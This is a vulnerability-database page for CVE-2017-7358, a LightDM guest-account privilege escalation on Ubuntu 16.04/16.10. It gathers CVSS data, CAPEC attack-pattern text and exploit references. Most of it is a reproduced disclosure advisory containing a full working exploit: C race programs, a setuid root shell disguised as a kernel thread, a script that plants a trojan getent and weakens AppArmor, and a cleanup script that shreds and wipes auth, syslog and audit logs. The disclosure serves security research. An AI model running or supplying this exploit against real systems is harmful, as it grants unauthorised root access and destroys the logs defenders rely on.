Vulnerabilities > CVE-2017-7358 - Path Traversal vulnerability in multiple products
Attack vector
LOCAL Attack complexity
LOW Privileges required
LOW Confidentiality impact
HIGH Integrity impact
HIGH Availability impact
HIGH Summary
In LightDM through 1.22.0, a directory traversal issue in debian/guest-account.sh allows local attackers to own arbitrary directory path locations and escalate privileges to root when the guest user logs out.
Vulnerable Configurations
Common Weakness Enumeration (CWE)
Common Attack Pattern Enumeration and Classification (CAPEC)
- Relative Path Traversal An attacker exploits a weakness in input validation on the target by supplying a specially constructed path utilizing dot and slash characters for the purpose of obtaining access to arbitrary files or resources. An attacker modifies a known path on the target in order to reach material that is not available through intended channels. These attacks normally involve adding additional path separators (/ or \) and/or dots (.), or encodings thereof, in various combinations in order to reach parent directories or entirely separate trees of the target's directory structure.
- Directory Traversal An attacker with access to file system resources, either directly or via application logic, will use various file path specification or navigation mechanisms such as ".." in path strings and absolute paths to extend their range of access to inappropriate areas of the file system. The attacker attempts to either explore the file system for recon purposes or access directories and files that are intended to be restricted from their access. Exploring the file system can be achieved through constructing paths presented to directory listing programs, such as "ls" and 'dir', or through specially crafted programs that attempt to explore the file system. The attacker engaging in this type of activity is searching for information that can be used later in a more exploitive attack. Access to restricted directories or files can be achieved through modification of path references utilized by system applications.
- File System Function Injection, Content Based An attack of this type exploits the host's trust in executing remote content including binary files. The files are poisoned with a malicious payload (targeting the file systems accessible by the target software) by the attacker and may be passed through standard channels such as via email, and standard web content like PDF and multimedia files. The attacker exploits known vulnerabilities or handling routines in the target processes. Vulnerabilities of this type have been found in a wide variety of commercial applications from Microsoft Office to Adobe Acrobat and Apple Safari web browser. When the attacker knows the standard handling routines and can identify vulnerabilities and entry points they can be exploited by otherwise seemingly normal content. Once the attack is executed, the attackers' program can access relative directories such as C:\Program Files or other standard system directories to launch further attacks. In a worst case scenario, these programs are combined with other propagation logic and work as a virus.
- Using Slashes and URL Encoding Combined to Bypass Validation Logic This attack targets the encoding of the URL combined with the encoding of the slash characters. An attacker can take advantage of the multiple way of encoding an URL and abuse the interpretation of the URL. An URL may contain special character that need special syntax handling in order to be interpreted. Special characters are represented using a percentage character followed by two digits representing the octet code of the original character (%HEX-CODE). For instance US-ASCII space character would be represented with %20. This is often referred as escaped ending or percent-encoding. Since the server decodes the URL from the requests, it may restrict the access to some URL paths by validating and filtering out the URL requests it received. An attacker will try to craft an URL with a sequence of special characters which once interpreted by the server will be equivalent to a forbidden URL. It can be difficult to protect against this attack since the URL can contain other format of encoding such as UTF-8 encoding, Unicode-encoding, etc.
- Manipulating Input to File System Calls An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.
Exploit-Db
| description | Ubuntu 16.10 / 16.04 LTS - LightDM Guest Account Local Privilege Escalation. CVE-2017-7358. Local exploit for Linux platform. Tags: Local |
| file | exploits/linux/local/41923.txt |
| id | EDB-ID:41923 |
| last seen | 2017-04-25 |
| modified | 2017-04-25 |
| platform | linux |
| port | |
| published | 2017-04-25 |
| reporter | Exploit-DB |
| source | https://www.exploit-db.com/download/41923/ |
| title | Ubuntu 16.10 / 16.04 LTS - LightDM Guest Account Local Privilege Escalation |
| type | local |
Nessus
| NASL family | Ubuntu Local Security Checks |
| NASL id | UBUNTU_USN-3255-1.NASL |
| description | It was discovered that LightDM incorrectly handled home directory creation for guest users. A local attacker could use this issue to gain ownership of arbitrary directory paths and possibly gain administrative privileges. Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues. |
| last seen | 2020-06-01 |
| modified | 2020-06-02 |
| plugin id | 99196 |
| published | 2017-04-05 |
| reporter | Ubuntu Security Notice (C) 2017-2019 Canonical, Inc. / NASL script (C) 2017-2019 and is owned by Tenable, Inc. or an Affiliate thereof. |
| source | https://www.tenable.com/plugins/nessus/99196 |
| title | Ubuntu 16.04 LTS / 16.10 : lightdm vulnerability (USN-3255-1) |
| code | |
Packetstorm
| data source | https://packetstormsecurity.com/files/download/142320/lightdm-escalate.txt |
| id | PACKETSTORM:142320 |
| last seen | 2017-04-26 |
| published | 2017-04-26 |
| reporter | G. Geshev |
| source | https://packetstormsecurity.com/files/142320/LightDM-Ubuntu-16.04-16.10-Privilege-Escalation.html |
| title | LightDM (Ubuntu 16.04/16.10) Privilege Escalation |
Seebug
| bulletinFamily | exploit |
| description | #### Vulnerability Summary The following advisory describes a local privilege escalation via LightDM found in Ubuntu versions 16.10 / 16.04 LTS. Ubuntu is an open source software platform that runs everywhere from IoT devices, the smartphone, the tablet and the PC to the server and the cloud. LightDM is an X display manager that aims to be lightweight, fast, extensible and multi-desktop. It uses various front-ends to draw login interfaces, also called Greeters. #### Credit An independent security researcher, G. Geshev (@munmap), has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program ###Vendor Responses The vendor has released a patch to address this issue. For more information: https://www.ubuntu.com/usn/usn-3255-1/ CVE Details CVE-2017-7358 <https://nvd.nist.gov/vuln/detail/CVE-2017-7358> #### Vulnerability Details The vulnerability is found in *LightDM*, which is the Ubuntu’s default desktop manager, more specifically in the guest login feature. By default *LightDM* allows you to log into a session as a temporary user. This is implemented in a script called ‘*guest-account*‘. ``` @ubuntu:~$ ls -l /usr/sbin/guest-account -rwxr-xr-x 1 root root 6516 Sep 29 18:56 /usr/sbin/guest-account @ubuntu:~$ dpkg -S /usr/sbin/guest-account lightdm: /usr/sbin/guest-account @ubuntu:~$ dpkg -s lightdm Package: lightdm Status: install ok installed Priority: optional Section: x11 Installed-Size: 672 Maintainer: Robert Ancell <robert.ancell () ubuntu com> Architecture: amd64 Version: 1.19.5-0ubuntu1 Provides: x-display-manager Depends: debconf (>= 0.5) | debconf-2.0, libc6 (>= 2.14), libgcrypt20 (>= 1.7.0), libglib2.0-0 (>= 2.39.4), libpam0g (>= 0.99.7.1), libxcb1, libxdmcp6 , adduser, bash (>= 4.3), dbus, libglib2.0-bin, libpam-runtime (>= 0.76-14), libpam-modules, plymouth (>= 0.8.8-0ubuntu18) Pre-Depends: dpkg (>= 1.15.7.2) Recommends: xserver-xorg, unity-greeter | lightdm-greeter | lightdm-kde- greeter Suggests: bindfs Conflicts: liblightdm-gobject-0-0, liblightdm-qt-0-0 Conffiles: /etc/apparmor.d/abstractions/lightdm a715707411c3cb670a68a4ad738077bf /etc/apparmor.d/abstractions/lightdm_chromium-browser e1195e34922a67fa219b8b95eaf9c305 /etc/apparmor.d/lightdm-guest-session 3c7812f49f27e733ad9b5d413c4d14cb /etc/dbus-1/system.d/org.freedesktop.DisplayManager.conf b76b6b45d7f7ff533c51d7fc02be32f4 /etc/init.d/lightdm be2b1b20bec52a04c1a877477864e188 /etc/init/lightdm.conf 07304e5b3265b4fb82a2c94beb9b577e /etc/lightdm/users.conf 1de1a7e321b98e5d472aa818893a2a3e /etc/logrotate.d/lightdm b6068c54606c0499db9a39a05df76ce9 /etc/pam.d/lightdm 1abe2be7a999b42517c82511d9e9ba22 /etc/pam.d/lightdm-autologin 28dd060554d1103ff847866658431ecf /etc/pam.d/lightdm-greeter 65ed119ce8f4079f6388b09ad9d8b2f9 Description: Display Manager LightDM is a X display manager that: * Has a lightweight codebase * Is standards compliant (PAM, ConsoleKit, etc) * Has a well defined interface between the server and user interface * Cross-desktop (greeters can be written in any toolkit) Homepage: https://launchpad.net/lightdm @ubuntu:~$ ``` The script runs as root when you view the login screen, also known as a greeter, to log in as a guest. Ubuntu’s default greeter is Unity Greeter. *Vulnerable code* The vulnerable function is ‘*add_account*‘. ``` 35 temp_home=$(mktemp -td guest-XXXXXX) 36 GUEST_HOME=$(echo ${temp_home} | tr '[:upper:]' '[:lower:]') 37 GUEST_USER=${GUEST_HOME#/tmp/} 38 [ ${GUEST_HOME} != ${temp_home} ] && mv ${temp_home} ${GUEST_HOME} ``` The guest folder gets created using ‘mktemp’ on line 35. The attacker can use ‘*inotify*‘ to monitor ‘*/tmp*‘ for the creation of this folder. The folder name will likely contain both upper and lower case letters. Once this folder is created, we grab the folder name and quickly and create the equivalent folder with all letters lower case. If we manage to race the ‘*mv*‘ command on line 38, we end up with the newly created home for the guest user inside the folder we own. Once we have the guest home under our control, we rename it and replace it with a *symbolic link* to a folder we want to take over. The code below will then add the new user to the OS. The user’s home folder will already point to the folder we want to take over, for example ‘*/usr/local/sbin*‘. ``` 68 useradd --system --home-dir ${GUEST_HOME} --comment $(gettext "Guest") --user-group --shell /bin/bash ${GUEST_USER} || { 69 rm -rf ${GUEST_HOME} 70 exit 1 71 } ``` The attacker can grab the newly created user’s ID and monitor ‘ */usr/local/sbin*‘ for ownership changes. The ownership will be changed by the following ‘*mount*‘. 1 2 3 4 78 mount -t tmpfs -o mode=700,uid=${GUEST_USER} none ${GUEST_HOME} || { 79 rm -rf ${GUEST_HOME} 80 exit 1 81 } We will remove the symbolic link and create a folder with the same name – to let the guest user to log in. While the guest is logging in, his path for finding executable files will include ‘*bin*‘ under his home folder. That’s why we create a new symbolic link to point his ‘*bin*‘ into a folder we control. This way we can force the user to execute our own code under his user ID. We use this to log out the guest user from his session which is where we can gain root access. The logout code will first execute the following code: ``` 156 PWENT=$(getent passwd ${GUEST_USER}) || { 157 echo "Error: invalid user ${GUEST_USER}" 158 exit 1 159 } ``` This code will be executed as the owner of the script, i.e. root. Since we have already taken over ‘*/usr/local/sbin*‘ and have planted our own ‘ *getent*‘, we get to execute commands as root at this point. Note – We can trigger the guest session creation script by entering the following two commands. ``` XDG_SEAT_PATH="/org/freedesktop/DisplayManager/Seat0" /usr/bin/dm-tool lock XDG_SEAT_PATH="/org/freedesktop/DisplayManager/Seat0" /usr/bin/dm-tool switch-to-guest ``` #### Proof of Concept The Proof of Concept is contains 9 files and they will take advantage of the race conditions mentioned above. 1. kodek/bin/cat 2. kodek/shell.c 3. kodek/clean.sh 4. kodek/run.sh 5. kodek/stage1.sh 6. kodek/stage1local.sh 7. kodek/stage2.sh 8. kodek/boclocal.c 9. kodek/boc.c By running the following scripts an attacker can run root commands: ``` @ubuntu:/var/tmp/kodek$ ./stage1local.sh @ubuntu:/var/tmp/kodek$ [!] GAME OVER !!! [!] count1: 2337 count2: 7278 [!] w8 1 minute and run /bin/subash @ubuntu:/var/tmp/kodek$ /bin/subash root@ubuntu:~# id uid=0(root) gid=0(root) groups=0(root) root@ubuntu:~# ``` If the exploit fails, you can simply run it again. Once you get your root shell, you can optionally clean any exploit files and logs by executing the below. ``` root@ubuntu:/var/tmp/kodek# ./clean.sh /usr/bin/shred: /var/log/audit/audit.log: failed to open for writing: No such file or directory Do you want to remove exploit (y/n)? y /usr/bin/shred: /var/tmp/kodek/bin: failed to open for writing: Is a directory root@ubuntu:/var/tmp/kodek# ``` boc.c ``` #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <string.h> #include <ctype.h> #include <sys/inotify.h> #include <sys/stat.h> #include <pwd.h> #define EVENT_SIZE(sizeof(struct inotify_event)) #define EVENT_BUF_LEN(1024 * (EVENT_SIZE + 16)) int main(void) { struct stat info; struct passwd * pw; struct inotify_event * event; pw = getpwnam("root"); if (pw == NULL) exit(0); char newpath[20] = "old."; int length = 0, i, fd, wd, count1 = 0, count2 = 0; int a, b; char buffer[EVENT_BUF_LEN]; fd = inotify_init(); if (fd < 0) exit(0); wd = inotify_add_watch(fd, "/tmp/", IN_CREATE | IN_MOVED_FROM); if (wd < 0) exit(0); chdir("/tmp/"); while (1) { length = read(fd, buffer, EVENT_BUF_LEN); if (length > 0) { event = (struct inotify_event * ) buffer; if (event - > len) { if (strstr(event - > name, "guest-") != NULL) { for (i = 0; event - > name[i] != '\0'; i++) { event - > name[i] = tolower(event - > name[i]); } if (event - > mask & IN_CREATE) mkdir(event - > name, ACCESSPERMS) ; if (event - > mask & IN_MOVED_FROM) { rename(event - > name, strncat(newpath, event - > name, 15)); symlink("/usr/local/sbin/", event - > name); while (1) { count1 = count1 + 1; pw = getpwnam(event - > name); if (pw != NULL) break; } while (1) { count2 = count2 + 1; stat("/usr/local/sbin/", & info); if (info.st_uid == pw - > pw_uid) { a = unlink(event - > name); b = mkdir(event - > name, ACCESSPERMS); if (a == 0 && b == 0) { printf("\n[!] GAME OVER !!!\n[!] count1: %i count2: %i\n", count1, count2); } else { printf("\n[!] a: %i b: %i\n[!] exploit failed !!!\n", a, b ); } system("/bin/rm -rf /tmp/old.*"); inotify_rm_watch(fd, wd); close(fd); exit(0); } } } } } } } } ``` boclocal.c ``` #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <string.h> #include <ctype.h> #include <sys/inotify.h> #include <sys/stat.h> #include <pwd.h> #define EVENT_SIZE(sizeof(struct inotify_event)) #define EVENT_BUF_LEN(1024 * (EVENT_SIZE + 16)) int main(void) { struct stat info; struct passwd * pw; struct inotify_event * event; pw = getpwnam("root"); if (pw == NULL) exit(0); char newpath[20] = "old."; int length = 0, i, fd, wd, count1 = 0, count2 = 0; int a, b, c; char buffer[EVENT_BUF_LEN]; fd = inotify_init(); if (fd < 0) exit(0); wd = inotify_add_watch(fd, "/tmp/", IN_CREATE | IN_MOVED_FROM); if (wd < 0) exit(0); chdir("/tmp/"); while (1) { length = read(fd, buffer, EVENT_BUF_LEN); if (length > 0) { event = (struct inotify_event * ) buffer; if (event - > len) { if (strstr(event - > name, "guest-") != NULL) { for (i = 0; event - > name[i] != '\0'; i++) { event - > name[i] = tolower(event - > name[i]); } if (event - > mask & IN_CREATE) mkdir(event - > name, ACCESSPERMS) ; if (event - > mask & IN_MOVED_FROM) { rename(event - > name, strncat(newpath, event - > name, 15)); symlink("/usr/local/sbin/", event - > name); while (1) { count1 = count1 + 1; pw = getpwnam(event - > name); if (pw != NULL) break; } while (1) { count2 = count2 + 1; stat("/usr/local/sbin/", & info); if (info.st_uid == pw - > pw_uid) { a = unlink(event - > name); b = mkdir(event - > name, ACCESSPERMS); c = symlink("/var/tmp/kodek/bin/", strncat(event - > name, "/bin", 5)); if (a == 0 && b == 0 && c == 0) { printf("\n[!] GAME OVER !!!\n[!] count1: %i count2: %i\n[!] w8 1 minute and run /bin/subash\n", count1, count2); } else { printf("\n[!] a: %i b: %i c: %i\n[!] exploit failed !!!\n[!] w8 1 minute and run it again\n", a, b, c); } system("/bin/rm -rf /tmp/old.*"); inotify_rm_watch(fd, wd); close(fd); exit(0); } } } } } } } } ``` clean.sh ``` #!/bin/bash if [ "$(/usr/bin/id -u)" != "0" ]; then echo "This script must be run as root" 1>&2 exit 1 fi /bin/rm -rf /tmp/guest-* /tmp/old.guest-* /usr/bin/shred -fu /var/tmp/run.sh /var/tmp/shell /var/tmp/boc /var/log/kern .log /var/log/audit/audit.log /var/log/lightdm/* /bin/echo > /var/log/auth.log /bin/echo > /var/log/syslog /bin/dmesg -c >/dev/null 2>&1 /bin/echo "Do you want to remove exploit (y/n)?" read answer if [ "$answer" == "y" ]; then /usr/bin/shred -fu /var/tmp/kodek/* /var/tmp/kodek/bin/* /bin/rm -rf /var/tmp/kodek else exit fi ``` run.sh ``` #!/bin/sh /bin/cat << EOF > /usr/local/sbin/getent #!/bin/bash /bin/cp /var/tmp/shell /bin/subash >/dev/null 2>&1 /bin/chmod 4111 /bin/subash >/dev/null 2>&1 COUNTER=0 while [ \$COUNTER -lt 10 ]; do /bin/umount -lf /usr/local/sbin/ >/dev/null 2>&1 let COUNTER=COUNTER+1 done /bin/sed -i 's/\/usr\/lib\/lightdm\/lightdm-guest-session {/\/usr\/lib\/lightdm\/lightdm-guest-session flags=(complain) {/g' /etc/ apparmor.d/lightdm-guest-session >/dev/null 2>&1 /sbin/apparmor_parser -r /etc/apparmor.d/lightdm-guest-session >/dev/null 2> &1 /usr/bin/getent passwd "\$2" EOF /bin/chmod 755 /usr/local/sbin/getent >/dev/null 2>&1 ``` shell.c ``` #define _GNU_SOURCE #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <grp.h> int main(void) { setresuid(0, 0, 0); setresgid(0, 0, 0); setgroups(0, NULL); putenv("HISTFILE=/dev/null"); execl("/bin/bash", "[bioset]", "-pi", NULL); return 0; } ``` stage1.sh ``` #!/bin/bash if [ "${PWD}" == "/var/tmp/kodek" ]; then /usr/bin/killall -9 /var/tmp/boc >/dev/null 2>&1 /usr/bin/killall -9 boc >/dev/null 2>&1 /bin/sleep 3s /usr/bin/shred -fu /var/tmp/run.sh /var/tmp/shell /var/tmp/boc >/dev/null 2> &1 /usr/bin/gcc boc.c -Wall -s -o /var/tmp/boc /usr/bin/gcc shell.c -Wall -s -o /var/tmp/shell /bin/cp /var/tmp/kodek/run.sh /var/tmp/run.sh /var/tmp/boc else echo "[!] run me from /var/tmp/kodek" exit fi ``` stage1local.sh ``` #!/bin/bash if [ "${PWD}" == "/var/tmp/kodek" ]; then /usr/bin/killall -9 /var/tmp/boc >/dev/null 2>&1 /usr/bin/killall -9 boc >/dev/null 2>&1 /bin/sleep 3s /usr/bin/shred -fu /var/tmp/run.sh /var/tmp/shell /var/tmp/boc >/dev/null 2> &1 /usr/bin/gcc boclocal.c -Wall -s -o /var/tmp/boc /usr/bin/gcc shell.c -Wall -s -o /var/tmp/shell /bin/cp /var/tmp/kodek/run.sh /var/tmp/run.sh /var/tmp/boc & /bin/sleep 5s XDG_SEAT_PATH="/org/freedesktop/DisplayManager/Seat0" /usr/bin/dm-tool lock XDG_SEAT_PATH="/org/freedesktop/DisplayManager/Seat0" /usr/bin/dm-tool switch-to-guest else echo "[!] run me from /var/tmp/kodek" exit fi ``` stage2.sh ``` #!/bin/sh /usr/bin/systemd-run --user /var/tmp/run.sh ``` /bin/cat ``` #!/bin/sh /usr/bin/systemd-run --user /var/tmp/run.sh /bin/sleep 15s /bin/loginctl terminate-session `/bin/loginctl session-status | /usr/bin/ head -1 | /usr/bin/awk '{ print $1 }'` ``` -- Thanks Maor Shwartz |
| id | SSV:92966 |
| last seen | 2017-11-19 |
| modified | 2017-04-19 |
| published | 2017-04-19 |
| reporter | Root |
| title | SSD Advisory – Ubuntu LightDM Guest Account Local Privilege Escalation（CVE-2017-7358） |